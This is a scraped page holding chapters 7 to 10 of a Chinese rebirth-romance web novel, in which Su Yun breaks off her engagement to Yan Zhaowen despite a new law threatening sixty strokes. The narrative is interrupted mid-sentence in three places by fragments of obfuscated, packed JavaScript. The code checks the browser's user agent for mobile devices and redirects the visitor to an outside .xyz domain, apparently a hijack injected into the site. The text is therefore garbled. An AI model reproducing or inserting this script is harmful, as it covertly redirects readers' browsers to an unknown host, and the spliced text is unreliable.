那段时日适逢阿耶磨勘，所谓磨勘，便是大小文武官员三年一次的考核，考核成绩关系到日后的升迁。 她被禁了足，又抓心挠肝地想见严朝闻，便诓骗阿娘说，要去重光寺为阿耶祈福，实则约了严朝闻在后山相见。 那也是他们俩的“老地方”。 当她提着裙裾，姿势狼狈地从配殿后窗爬出去的时候，一抬头，对上的便是谢三省的那双桃花眼。 她情窦已开，自然读得懂他眼里迸发的情愫。 可她已经有严朝闻了。 之后的日子，谢三省对她穷追不舍，费尽心思制造了数次偶遇，今日弹琴，明日舞剑，甚至还不惜一掷千金，买下了她常光顾的胭脂店，只为能多看她一眼。 可她并不觉得感动。 她只觉得烦。 明知她有心上人，行事还是毫无顾忌，不是道德败坏是什么？ 还有他那张永远嬉笑的脸，与她心目中的如玉郎君相去甚远。 原本她一直觉得，君子，就该如严朝闻一般，讷于言而敏于行。如今看来，寡言且无所作为，倒不如面前的谢三省，至少他嘴甜，还能说些好听的哄人开心。 她忍不住嗤笑一声。 自嘲过后，她的目光仍停留在他脸上，最后竟不知不觉，细看起他的眉眼来。 奇怪，他的面容倒不似记忆中那般讨嫌，甚至还有些…好看。 不过很快，她便打消了这个荒唐念头，因为谢三省又呲着牙凑了上来。 “徵儿，原来你叫徵儿…” 听到他肉麻地叫自己小字，苏韵狠狠剜了他一眼。 谢三省见状也不恼，眼睛甚至更亮了几分，上前两步追问道：“方才你说要退亲，可是真的？” 苏韵眯着眼，不答反问，“你是故意的吧？” “什么？” “装作不知情，故意接近我阿耶，说，你到底有什么目的？” “我能有什么目的？我跟苏公，真的是偶然相识，不信你可以去问他。”谢三省辩解几句，突然回过味来，“不是，在你眼里，我谢三省就是这样的人吗？” “没错。” “……” 苏韵探头朝外看看，头也不回道，“没什么事你赶紧走吧，最近我家事多，乱着呢。” 谢三省哪里肯，干脆抱臂耍赖，“我不走，苏公刚刚可是说，要你好好招待我的。” 说罢，偷偷去瞥她的脸色，见她没发作，得寸进尺道：“我还要留下来用夕食呢！” “行。”苏韵也不多说，抬腿刚要走，又想到什么似的，回头指着案上那些宝贝，“这些东西，我阿耶不会收的，免得有受贿之嫌，你还是装好带走吧。” “这……”谢三省面露不解之色，“这么点儿东西，不至于吧？” “点儿？” 苏韵气结。 以前看他谢三省出手阔绰，便知道他家底定然丰厚，可却不知竟丰厚至此。 这摆在案上的文房四宝，件件都在文人中风靡，说是千金难求，一点也不夸张，若是能得上这么一件，足够炫耀半辈子的了。 如此贵重的东西，他竟然轻飘飘地说“点儿”？ 不过看他眼神清澈，也不像是装的，若是这些东西，对他来说真的无足轻重，那他的家世背景，即便放到西京，也是叫人无法轻易忽视的。 这样的他，如果真的想要为难阿耶，不过是上嘴唇碰下嘴唇的事，倒真不必费这么大的周折。 想到这，她暗暗松了口气，“行，那你慢慢等，我先失陪了。” “哎，先别急着走嘛！徵儿，徵儿，苏娘子。”谢三省见怎么喊她也不肯停步，只得冲上前去拦住她的去路，“我是真的有话跟你说。” 苏韵一掀眼皮，“说。” “你到底是不是真的要退亲啊？” 一听还是这句话，苏韵翻了个白眼，准备侧身绕走。 “你先听我说完嘛。”谢三省赶紧捡紧要的说，“女子无故悔婚者，归还聘礼，杖六十，新修的律法，正在推行。” 苏韵猛地回身，“有这等事？” 谢三省点头如捣蒜。 “不可能，如果是真的，我阿耶怎么会不知情？” “苏公今日是休沐吧？黜陟使此时就在武当县，你们县令怕是已经去听令了，不用到明日，告示就能贴得满大街都是。”见她还是半信半疑，谢三省急了，“我还能骗你不成？” 苏韵不说话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540630|186641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 细细想来，推行新律好像还真是在这个时候。 前世的今日，她带着雪信，偷跑出去与严朝闻相见，天都擦黑了才想起往回赶，经过县衙的时候，见告示牌前围了好多人，怕被人瞧见，还特意绕路走来着。 之后坊间便议论纷纷，说陛下主张修改的那几条律法，都是为了限制三大世家扩张的手段。那段时间，茶余饭后闲来无事，人人都化作说书人，津津有味地推测这场权谋大戏。 严朝闻也曾高谈阔论，发表独到见解，还把她迷得晕头转向。 至于退亲的条文，倒没听人说起过。 毕竟放眼整个郧乡县，像她这样，下了聘又要退亲的没几个。 她一直不说话，谢三省以为她还是不信，抓起她的手臂就往外走，“那我带你去武当县，去见黜陟使，让他当面跟你说，你不信我，总该信他吧？” 苏韵脚下不动，“放手。” 谢三省一怔，垂眼看向自己的手，那轻薄布料下的纤纤手腕，仿佛一下就能被他捏断了，他耳根一烧，忙松了手。 “我信。”苏韵仰脸道，“可即便是要挨打，这个亲我也退定了。” 她眼神坚定，看不到一丝犹豫。 谢三省先是内心狂喜，紧接着皱起眉来，煞有其事道：“我怎么可能让你挨打呢？我这就叫人去严家，让他们先张口退亲。男子悔婚，只会损失个聘礼，我加倍补给他们就是了。” 听到这里，苏韵冷哼一声。 “我这可不是趁人之危啊。”谢三省挺了挺腰背，抱臂清了清嗓子，道，“我是看不过去，想帮帮你而已。” “女子悔婚要杖责，男子悔婚就只亏钱财。”苏韵声音清冷如冰，“还真是休明盛世该有的样子。” 原来她是在意这个啊。 谢三省看向她，声音轻柔了些，“这件事你听我的，现在不是逞能的时候。你这么瘦，别说六十杖，六杖都能要了你半条命。你不用提防我，我真没别的意思，就是不希望你受伤……” “谢谢你。” “啊？” “我说谢谢你。”苏韵重复道，“但这件事，我想自己解决。” 说完，快步出了书房。 等在门口的谢怀序见她走远了，三步并作两步，凑到谢三省身边，“郎君，咱们假装不认识苏公的事，是不是叫苏娘子发现，唔……” 没等说完，嘴就被主子捂了个严实。 谢三省警惕地四处看看，见没人这才放开手，痞色毕现，威胁道：“你这张嘴，待会儿给我闭严了！徵儿好不容易才对我有点好脸色，你要是坏了我的好事，我就拿花椒、胡椒、生姜、茱萸，熬一大锅汤给你灌下去，听到没有！” 谢怀序一惊，一只手捂嘴巴，一只手捂屁（和谐）股，瞪大眼睛忙不迭点头。 * 重光寺后山 第一次，苏韵不是假装祈福诵经，从配殿窗子翻出来的，而是沿着步道，光明正大一步步走上来的。 严朝闻已经等在那里了。 日影西斜，他负手立在树下，风卷衣袍，猎猎作响，那如松背影风流依旧，却没那么耀眼了。 苏韵停在离他十数步的地方。 他听到脚步声转过身，微微一笑。 他一直都是这样，站在原地等她过去。 苏韵脚下没移动半分，只是静静看着他，仿佛在看一个陌生人。 他终于察觉到异常，“怎么了？” “严朝闻，”苏韵开口道，“我不会嫁给你了。” 8. 第8章 蕃女怨 不是朝闻阿兄，而是连名带姓一起喊，这是以前从未有过的。 此时少女面上的神情，也是他从未见过的，没有娇羞，没有欣喜，只有无尽的冷漠。 见状，严朝闻眉宇间露出些许慌乱。 数日不得见，他只当是苏父苏母气他严家办事不妥，故而从中阻拦，毕竟相识这么久，苏韵还从未因什么事，生过他的气。 得知她相约，他还以为这一页已经翻过去了。 “徵儿，你在生我的气吗？” 苏韵语气没有一丝波澜，“没有，我只是想通了。” 严朝闻上前几步，“我知道，下聘一事，是我阿娘做得不妥，我代她向你道歉，你别生气，等有机会，我同她好好说说，定叫她日后好好待你。” 听到这再熟悉不过的几句话，苏韵不禁笑出声来。 苏韵啊苏韵，明明成亲前他就是这样满口敷衍，你怎么就一点也没发觉，还乐颠颠地，抢着要往火坑里跳？ 严朝闻怔住，不知道自己哪一句话惹得她发笑。 殊不知，他这茫然的表情，更是惹怒了苏韵。 “等有机会？”她忍不住讥讽，“什么机会？说句话还需要找机会？” 严朝闻显然没想到她会这样问，一时不知该如何回答。 “你同你阿娘说，你阿娘就会听吗？” 前世积压了数年的怨恨，一股脑涌了出来，她继续逼问道，“既然如此，那聘礼还未出你家门的时候，为何不叫她将聘雁补上？还是说你根本没亲自过目，完全不清楚聘礼当中都有些什么？” 严朝闻语塞。 “你阿娘在外说那些模棱两可的话，让我被人非议，沦为笑柄，我不信你都不知情。你不加以阻止，反而袖手旁观，你能信誓旦旦许诺我一生，却连维护我都做不到吗？” “不是的，这其中定是有误会。”严朝闻试图为母亲开脱，“她可能，她可能一时说错话，被人误解，夸大之后传了出来，你不要…” “我说的是你，严朝闻，从来就不是你阿娘。”苏韵打断他，“你能选择让我受了这委屈，说明你在心里已经权衡过了。你不敢忤逆你阿娘，却断定我不会把你怎么样，我对你的感情，不该成为你负我的理由！” “我…” 看着他说不出话，又一脸为难的样子，苏韵自嘲地笑笑，“我也真是疯了，还与你争辩这些做什么。” 严朝闻垂在身侧的手，紧紧捏成拳头，半晌才松开，他泄了气，肩膀也塌了下去。 “那是我阿娘啊，我能怎么办呢？” 嗤笑过后，苏韵恢复冷静之色，“我这次来，就是与你说清楚的，明日我耶娘便会登门，归还聘礼，退了这门亲，从此你我再无瓜葛。” 她话说得决绝，转身也没有一丝犹豫。 严朝闻看着她的背影，垂首长叹了一声。 * 桃花争开不待叶，杨柳抽芽，点点新绿。 苏韵一言不发，望着马车窗外不断后移的景色出神。 曾经，她想要当着严朝闻的面，好好把那让她伤心流泪的桩桩件件，都问个清楚明白。 如今真的有了机会，她却不想问了。 答案是什么都好，她已经不在乎了。 她只想离那吃人不吐骨头的严家远远的。 至于那六十杖，若是真的躲不掉，咬牙挨了便是了。 就算让她在床上躺个一年半载，也比冤死在严家的破屋里强。 倒不是她非要逞强自己抗，这件事若是真让谢三省掺和进来，她才真是有口都说不清了。 话说回来，杖刑一定很难捱吧。 她前世曾亲眼目睹过行杖刑，犯人趴在冰冷的地面，下身被打得皮开肉绽，血肉模糊。 口中咒骂的话语，慢慢变成哀嚎、求饶，最后低声呜咽，涎涕横流，再没一点体面。 说不怕是假的。 希望她能赌得赢吧。 雪信在一旁，看着主子的神色忽晴忽阴，几番想要张口，话到嘴边又都咽了回去。 苏韵余光瞥见身边人抓耳挠腮的憨模样，倒是一扫心中阴霾，扭头忍笑问道：“你想说什么？” “我就是觉得娘子这几日，话比以前少了许多，也没以前开心了。”雪信满脸忧色道，“婢子蠢笨，不懂得许多大道理。娘子说严家是火坑，嫁过去准没好日子过，想退亲，又怕家主不允，所以夜里翻来覆去睡不着，吃得也少。可眼下家主已经答应，明日便去退亲，娘子怎么还是不开心呢？” “没事说那么多话做什么？”苏韵笑笑，“我也不是不开心，只是有些事，需要仔细想想清楚罢了。” 雪信重重点头，“娘子那么聪明，一定可以想清楚的。” 苏韵笑不作声。 雪信探头朝窗外瞧了瞧，“那一会儿路过尚二菓子铺，我去给娘子买些菓子吃吧，吃饱了才有力气好好想。” “好。” 马车在菓子铺门口缓缓停稳，雪信下车去买菓子。 这是一家不算大的铺子，却已经开了数十年。 掌柜的尚二是个年逾半百的糙汉子，很难想象，那些栩栩如生，精致又美味的菓子，是出自他之手。 与别家的笑脸相迎不同，尚二总是唬着一张脸。 他家的菓子不算便宜，自从前世吴氏卷走严家家产后，苏韵便再没吃过了。 有时候想一想，还真怀念尚二那张臭脸。 想到这，她透过车窗，朝铺子门口望去—— 她的视线，猝不及防对上了一双眼。 那眼神冷冰冰的，实在算不得友善。 眼睛的主人她也认识，正是严朝闻后来纳进门的富商之女，殷妙筠。 殷妙筠死死盯过来，苏韵当然也没打算躲闪，坦然瞪了回去。 两个人就这样无声对视，虽然隔了数十尺，也颇有些剑拔弩张的意味。 至于为何对方视她为仇敌，她也是知晓的。 严朝闻作为郧乡县第一郎君，自然有许多小娘子芳心暗许，这殷妙筠便是头一号。 此时她的身份，还是严朝闻定了亲，未过门的妻子，殷妙筠看到她，自然恨得牙痒痒。 殷妙筠家境殷实，虽然相貌只能算是中等，但一身价值不菲的行头，将人衬得也是气质出众。 加之身旁始终围着七八个使唤丫头，走到哪里都是众人瞩目。 可苏韵只要一想到，眼前这个自小锦衣玉食的尊贵娘子，未来也是要嫁到严家去，受严母窒息的“管教”，眼神里不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540631|186641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知不觉，显露出几分惋惜来。 这一丝不易察觉的变化，却被殷妙筠敏锐捕捉个正着。 “她，她是在可怜我吗？” 殷妙筠简直不敢置信，气得银牙一咬，就要上前理论，可刚一迈步，就被身后人撞了个趔趄。 “让一让，让一让！”雪信提着食盒，一边嚷一边从铺子里走出来。 被侍女扶住才站稳脚跟，殷妙筠怒极转头，双眼快要喷出火来。 “你不长眼的吗？”身旁侍女扯着尖细嗓子，冲雪信叫嚷，“知道我们家娘子是谁吗？碰坏了你赔得起吗？” 雪信翻了个白眼，“是谁也别挡道啊，就这么个小门，这么多人在这杵着，出不来进不去的，人家还怎么做生意？” “你——” 瞧着来往行人逐渐被吵闹声吸引过来，还有人指指点点，殷妙筠嗤了一声，不屑道：“不就是些菓子么，这也能叫作生意？竹青，去把店里所有的菓子都包了，让掌柜的算算，一共多少钱。” “是。”名叫竹青的侍女得意应声，还不忘朝雪信斜眼示威。 雪信梗着脖子不甘示弱。 “雪信。”苏韵压根不想掺和，使眼色示意雪信上车。 雪信又朝殷家那一行人哼了一声，才转过身。 “掌柜的！”竹青倚在门上，故意提高了音量，让所有人都能听清，“我家娘子说了，店里所有菓子都要了，你开个价吧！” 尚二正在门边埋头整理食盒，闻言手上不停，头也不抬，闷声道：“不卖。” 竹青一怔，扭头见主子眉头蹙紧，忙又回身尖声道：“今日算你捡了便宜，只要你能开出价来，我们殷娘子都给得起。” 怕尚二不给面子，竹青故意提了殷姓，随后更是压低了声音威胁道：“你可别不识好歹。” “说了不卖，就是不卖。”尚二瓮声瓮气，将手中食盒一摔，转身朝店铺深处走去。 “哎你——”竹青生怕主子的面子被驳了去，忙追了进去。 等雪信上了车，在身旁坐稳，苏韵仰头对车夫道：“走吧。” 马车摇晃启程，将那些吵嚷声甩在身后。 不用回头看，苏韵也知道，此时殷妙筠定是咬牙跺脚，恨不得将她的车壁瞪出两个洞来。 不过也没什么好担心的。 别看现在恨意滔天，待到明日，她与严朝闻退亲的消息一出，殷妙筠怕是做梦都要笑醒了。 …… 许是因为有客，府中夕食提前了些，苏韵回到家时，苏崇与谢三省正推杯换盏，交谈甚欢。 见她出现，谢三省眼睛一亮，不顾苏崇高举的杯盏，呲着牙起身，“徵，苏娘子！” 林氏神情微妙。 如果能，苏韵真想狠狠掐他一把，可此时，她只能咬着后槽牙微笑回礼。 “徵儿回来了！”苏崇招手，“饿了吧？快来吃饭。” 苏韵道：“阿耶，阿娘，儿有些不舒服，想先回房了。” “怎么了？哪里不舒服？要不要找个郎中看看？”谢三省一连追问了好几句，突然发现整个屋子都静了下来，扭头瞥见苏崇夫妇异样的眼神，才干笑着打哈哈，“哈，早就听说苏公爱女情切，苏娘子要是有个好歹，苏公可是要急疯的。” 9. 第9章 千金意 苏崇猜到女儿可能是心情不好，便道：“也好，不舒服便早些休息吧。” 苏韵低头称是。 瞧着阿耶满面红光，该是得了宝贝打心眼里高兴，也正说明推行新律的消息，还没传到家里来。 退出去之前，她瞥了一眼谢三省。 后者正隔着食案，抻着脖子望向她，满眼期盼。 她突然很感激他，没有将事情提前说出去，不然家里早就鸡飞狗跳了。 她朝他微微颔首。 谢三省先是一愣，随即会心一笑。 …… 回到房中，苏韵坐到铜镜前，由藏春伺候着卸下钗环，她端详着镜中俏丽的人儿。 那吹弹可破的肌肤，盈盈秋水般的双眼，黑缎一样的长发……这原本就属于她的种种，此时却让她欣喜若狂。 她抬手抚上自己年轻的脸。 那些为严家生计奔波而生的皱纹、白发，仿佛从未存在过。 一切都和从前一样。 现下只等退亲事毕，好重新来过。 谢三省说得没错，既然律法如此，叫严家主动退亲，是最好的办法。 严家的聘礼并不丰厚，可是以苏家的家境，也并没有底气能扬言，能给对方“加倍补偿”。 更何况她也不想因为她，掏出耶娘好不容易攒下的家底，来贴补给严家。 她好歹在严家磋磨了那么多年，对严朝闻和严母的行事偏好、性格软肋，可谓是了如指掌。 想要拿捏一二，也不是不可能。 见严朝闻原本是祖母的意思，可得知新律之事后，此举反倒成了事成的关键。 退亲这么大的事，他回家定是要如实告知严母，以严母的性子，又怎会容忍一个小小县丞之女，退了她宝贝儿子的亲事？ 只要严母按捺不住，抢先上门理论，事情就有转机。 她垂眸看了看斜在妆奁上的最后一丝光影，心里估摸着，这个时辰，大概严家母子已经在讨论此事了。 那就静待花开。 折腾了一天，苏韵只觉头昏脑胀，她抬手摁了摁额角。 藏春见她有疲乏之色，拆了发髻后，便用指肚帮她轻按头部穴位，按摩力道刚刚好，苏韵舒服得眯起了眼。 她累了便容易头疼，藏春特地找了郎中，学了缓解之法，果然很有效。 按了好一会儿，怕她就这么坐着睡着了，藏春才轻声问道：“娘子刚刚什么都没吃，现下怕是要饿了，要不，婢子去厨房拿些吃食来吧？” 正在铺床的雪信听见了，忙道：“娘子想吃菓子么？” 苏韵这才想起，回来路上还买了尚二家的菓子，遂点点头，“也好。” “那婢子去给娘子取些饮子来。”藏春说完便退了出去。 雪信将食盒取来，放在案上，一只手去掀食盒的盖子，可用了几次力，盖子都纹丝不动，仿佛被钉死了一样。 “这尚二也真是的，都跟他说了多少次，这食盒的盖子有问题，怎么就是不肯改呢？”雪信嘟囔着抱起食盒，“娘子稍等，我去找人帮忙。” 苏韵嗯了一声，又想到件要紧事，忙吩咐道：“对了，你去外院找个机灵点、识字的小厮，叫他去县衙告示牌前蹲守，宵禁前若有张贴新消息，就赶紧回来报给我，还有，千万不要惊动耶娘。” “是。” 两人手脚向来利落，没多一会儿，便带着打开的食盒，和她爱喝的饮子回来了。 美中不足的是，经过一番折腾，食盒盖子是开了，可不少菓子已经翻倒，严重的更是挤压变形，精致不再。 雪信瞧见，惋惜道：“又变成这样了。” “不碍事的。” 一天没怎么吃东西，苏韵也饿了，再顾不上许多，大快朵颐起来。 “刚刚玉姑姑来过了，夫人怕娘子饿着，也叫厨房做了您爱吃的点心，还有这个。”藏春将装有点心的碟子，在她面前放好，又将一个精巧盒子推到她跟前，打开来道，“这是今日的贵客谢郎君，送给夫人的卯山仙茶，听说还是御赐的呢！夫人一点没留，都叫给娘子送来了。” 苏韵凑近闻了闻，香气清洌雅致，果真是好东西，“阿娘也是爱喝茶的，怎么都给我了？” “那…再给夫人送些回去？”雪信试探性问道。 苏韵摇头，继续边吃边道：“不用，送了阿娘也不会要，改天再找些别的新鲜玩意给她，这个先收起来吧。” “娘子。”藏春抱着盒子身子前倾，一脸认真问道，“这位谢郎君，不就是之前，缠着您那个登徒子吗？怎么还成了家主的座上宾了？” 听到“登徒子”三个字，苏韵一噎，猛咳了几声，藏春忙将饮子递上，雪信则到身侧帮她敲背。 当初她一口一个“登徒子”地骂，藏春雪信自然也随着这么叫，其实细细想来，他也没做过什么出格的事，就是有些缠人罢了。 她猛灌了几口，才将食物咽了下去，含糊道：“我也不知道，听他说，跟阿耶相识只是个巧合。” “怎么可能？”雪信陡然提高音量，手一拍案，“娘子您忘了？上次买下那胭脂铺子，他也说是巧合来着。” “就是！”藏春深以为然，一边从苏韵手里接下杯盏，一边煞有其事道，“咱们走到哪里都能遇见他，他还不都说是巧合？娘子，像他这样的纨绔子弟，成日里没别的事情做，专门四处调戏小娘子，这样的人，嘴里能有几句真话？您可别被他的皮相蒙骗了。” 雪信跟着猛点头。 “刚刚你们回来得晚没看到，家主有多喜欢他，站着夸坐着夸，吟诗夸唱曲也夸。”藏春拉过雪信，有样学样，歪着头咧嘴，“家主就这么看着他笑，笑得脸上褶子都多了好几道。” 雪信蓦地撑起身，“如此说来，这位谢郎君，道行很深呐！在娘子这边碰了壁，便拐了弯，要从家主身上下手…” “哎呀，你们说到哪儿去了！”眼看越说越离谱，苏韵连忙打断，“哪有人专门去哄人高兴，就为了调戏他女儿的？再说了，谢三省到府上来，是巧合也好，故意也罢，我都没心思理会，眼下最最紧要的，还是先把亲退了，免得夜长梦多。” 这一点，两人还是赞同的，齐齐点头，不再多说。 苏韵又转头看向窗外，就这么一会儿说话的功夫，天就已黑透了。 “时候差不多了啊。”她喃喃自语。 话音刚落，门外来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540632|186641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，雪信出去片刻，回来表情变得凝重。 原来小厮刚到县衙门口不久，便有衙役来贴了新告示。 推行律法是真的，退亲要受杖刑也是真的。 藏春雪信两人，都知道这意味着什么，满脸忧虑地看向苏韵。 苏韵稍一思索，招手将两人都唤到跟前，三颗头贴在一起，低声耳语良久。 * 翌日辰时，苏家外院 “手脚都轻些，千万别把东西碰坏了！”盯着小厮们搬运聘礼，苏崇一百个不放心，在旁不住叮嘱着。 林氏姗姗来迟。 她显然精心打扮了一番，一头秀发整齐地梳了个高髻，上身着月白色卷草纹绮衣，下身着绯绫夹裙，肩搭墨绿色帔子，平日里鲜少戴的首饰，今日也都派上了用场，仔细瞧瞧，妆容也略有不同，整个人婉约中藏了几分凌厉。 苏崇瞧着夫人打扮起来，风韵不减当年，不由得揣着手站在原地傻乐，待夫人走到跟前，才开口夸赞道：“夫人今日美极了。” 一旁的玉奴和干活的小厮们，听到都抿嘴笑了起来。 林氏嗔道：“一把年纪了，还没个正经！” “夸你美极了，怎么就是没正经？”苏崇还了句嘴，瞧着她身后只有玉奴，问道，“徵儿还没起吗？” 林氏摇头。 苏崇道：“不去也好，那江氏口中，向来没有好听的话，去了也是白白跟着生气。” “想必徵儿昨日已经与严朝闻说清楚，今日本也没有再去的必要了。”林氏替夫君理了理衣襟，嘱咐道，“咱们要退亲，江氏定是不痛快，她要发泄，就让她发泄个够，回来咱们关起门，再骂回来就是了。” 夫人柔声细语，苏崇很是受用，拍着胸脯保证，“夫人放心，我定时刻记着，今日是去赔礼道歉的，态度好些，免得节外生枝。” 林氏满意点点头。 眼看着最后几箱子都抬了出去，冯山道：“家主，差不多了。” 苏崇嗯了一声，转头对林氏道：“那我们出发吧。” “好。” 二人相携，还未出走出院子，便听门房慌慌张张来报，“家主，夫人，不好了，严，严家夫人领着严郎君，上门理论来了！” 夫妇皆知来着不善，沉默对视一眼。 林氏深吸口气，声音尽量保持平和，“先将人请到正堂吧。” …… 正堂内，严母面带怒容，正襟危坐。 一旁的严朝闻虽然也整衣敛容，可飘忽不定的眼神，还是暴露了他内心无比慌乱。 “把头抬起来！”严母厉声喝道，“做错事的又不是你，别一副垂头丧气的模样！” “是。”严朝闻低声应和，随即挺直了腰背，平视前方，再不敢颔首半分。 苏崇走到门口，听到这一句，下意识脚步一顿，用力捏了捏夫人的手又放开，扬首挤出个无懈可击的微笑，提了一口气，这才抬腿迈了进去。 “呵呵，严夫人…” 准备好的寒暄没等说完，就听得严母冷哼一声，“苏赞府，您好歹也是一方父母官，嫁娶大事都能出尔反尔，是欺负我们孤儿寡母，家里没个能撑腰的男人么？” 10. 第10章 五里雾 苏崇不易察觉地，倒吸一口凉气。 都说严家夫人不是好相与的，果然名不虚传啊。 从前好歹是未来亲家，再看不上眼，面上总是顺过得去的。 这一旦撕破脸，便什么客套话都没有，直奔主题，一刀就要见血。 面对这么尖锐的问话，苏崇好不容易挤出的笑脸，都要挂不住了。 “严夫人误会了。”林氏拉着夫君坐下来，柔声道，“您先喝口茶润润喉，至于退亲之事，我们坐下来，慢慢商量。” 严母压根不吃这一套，“商量？我刚进门时，看见聘礼都已经整整齐齐摆在门口，怕是我与朝闻再耽误一会儿，就能等到你们上门了。” 苏崇赔笑道：“是是是，此事是我们失信在先，是我们对不住朝闻，本就该是我们登门致歉的。这样，您看看，我们怎么样弥补合适…” “弥补？”严母听到这两个字，更是怒不可遏，“我们朝闻今年就要参加秋闱，若因此事影响了他的心情，耽误了考试，你们拿什么弥补？你们弥补得起吗？” 严朝闻听不下去，“阿娘！” 儿子不跟自己同仇敌忾，严母是恼的，可又不想在外人面前驳了他的面子，只得顿了顿。 “严夫人，我们是真心想要求得您和朝闻的谅解。”林氏趁机使眼色，示意玉奴递上礼单，“除了聘礼如数归还以外，我们还准备了些东西，聊表歉意。” 谁知严母一手将礼单按住，看也不看，秀眉一挑，“把我们当什么人了？这要是传出去，还以为我们母子上门，是要讹诈你们的。” 林氏耐着性子解释，“我们没这个意思，就是单纯地，想给朝闻些补偿，多给他备些东西，日后他进京赶考，衣食住行也都能舒适些不是？” 林氏是好心，可在严母耳朵里听到的，却是另外一层意思。 这么多年，严家入不敷出，她一介深宅妇人强撑着门面，每一枚铜板都要用在刀刃上。 这虽是人尽皆知的秘密，可还从没有人，当着她的面，把这件事拿到明面上来说。 这时提起，她只当这是一种讽刺，一种羞辱。 所以几乎是林氏话音刚落，严母便勃然变色，拍案而起，“想嫁时，你家女儿日日缠着朝闻，不想嫁时，随便拿些物件就想打发我们，你真当我们严家是要饭的？几两碎银就妄想能折辱我儿，你们也太轻狂了些！” 林氏完全没预料到，这好言好语说着，怎么突然就爆发了？ 这脾气来得也太快了些。 细细听来，即便她占着理，这话说得也太难听了。 林氏赌着气没动。 严朝闻忙拉住母亲，“阿娘，切勿动怒。” “对对对。”苏崇反应过来，也赶紧起身去劝，“严家夫人，您先冷静些，我们确实没有别的意思，您要是觉得不舒服，我们，我们…” 他探着身子，将案上礼单拿起，三下两下撕碎丢在地上，“我们可以用别的方式补偿，这，这都可以商量的嘛！” “没什么好商量的！”严母怒目圆瞪，“我倒要到县衙问上一问，咱们大兖朝，还有没有王法！” 严朝闻并不想把事情闹大，可若这时劝阻，阿娘定要生气，想来想去，他便闷着没吭声。 林氏闻言，也是眉心一跳，虽然平素里夫君与吕县令交好，可要是真的对簿公堂，为避免有徇私嫌疑，吕县令定是不敢有半分偏颇，甚至还得更倾向于严家。 此事苏家又不占理，搞不好退亲不成，亲事还得照旧。 闹成这样，还要进门，严母还不得把徵儿往死里磋磨？ 想到这，林氏再不情愿，也强压着情绪道：“严夫人，咱们有话好好说。” 正当堂内乱做一团时，冯山疾步来到苏崇跟前，低声道：“家主，衙署有些事，请您移步。” 苏崇正焦头烂额，不耐烦道：“我不是告了假嘛，有什么事一会儿再说！” “家主！” 冯山向来会看眼色，如此坚持，定是有重要的事，苏崇稍一琢磨，一咬牙，转身出了门。 “什么事，快说。” 冯山凑近，低声将推行新律一事简单叙述了一遍，苏崇听完，脸色“唰”地一下，变得惨白。 “什么时候的事？” “昨晚宵禁前。” “唉！”苏崇以拳砸掌，恨自己只顾饮酒作乐，误了大事。 若是能早点知道，早做打算，也不至于闹到现在这个进退两难的境地。 “家主，现在怎么办？” “六十杖啊，可不是闹着玩的，这亲退不得，至少现在退不得。”苏崇急得直打转，“得想办法拖延个一时半刻，我好去找吕兄想想办法，看看事情有没有转圜的余地。” 他探头往堂内瞧了瞧，严家夫人暴跳如雷，严朝闻几乎插不上嘴，这样的情况下，林氏一人很难招架。 这可如何是好？ 正当他一筹莫展的时候，胡氏摇着团扇走近。 苏崇假装没看见，把头扭到另一边，这个时候，他可没空跟她闲扯。 可胡氏就是冲着他来的，怎么会让他躲得掉？ “三郎，堂内可是严家夫人？啧啧，怎么吵得这么凶啊。”胡氏掂着脚往屋里看，一副看热闹不闲事大的表情。 苏崇心烦，“哎呀二嫂，你就别跟着添乱了，先回吧。” 胡氏抱着团扇撇嘴，“怎么能是添乱呢？你瞧瞧，你跑到外面躲清闲，毓秀妹妹自己在里面多辛苦？闹成这样对谁都不好，要我说啊，还是化干戈为玉帛，结亲不比结仇强？严家能上门来，也是…” 胡氏絮絮叨叨说着，苏崇左耳朵进，右耳朵出，压根没往心里去，自顾自想着应对之法。 趁着混乱，藏春不知从哪里钻出来，手里端着一盅茶汤，脚下生风，掠过苏崇几人，径直进了正堂。 “哎——”待苏崇发现，抬手想要将人叫住，却已经连衣角都瞧不见了。 堂内，严母显然已经失去耐心，“你不必再说了，我现在就带着官府文书，到县衙去击鼓鸣冤！到时嫁或不嫁，可由不得你！” 她冷哼拂袖，可刚一转身，便好似撞上什么东西，紧接着，温热的茶汤泼了她一脸。 霎时间，她怔在当场。 林氏瞧着她下颚还滴着水，胸腹前湿了一大片，便知大事不妙，再往前去看那个闯祸精，竟是徵儿的贴身侍女，藏春？ 藏春怎么会出现在这？又是什么时候进来的？ 一头雾水的林氏也来不及多想，生怕被严母看出是徵儿的人，忙厉声呵斥，“怎么这么不长眼？还不 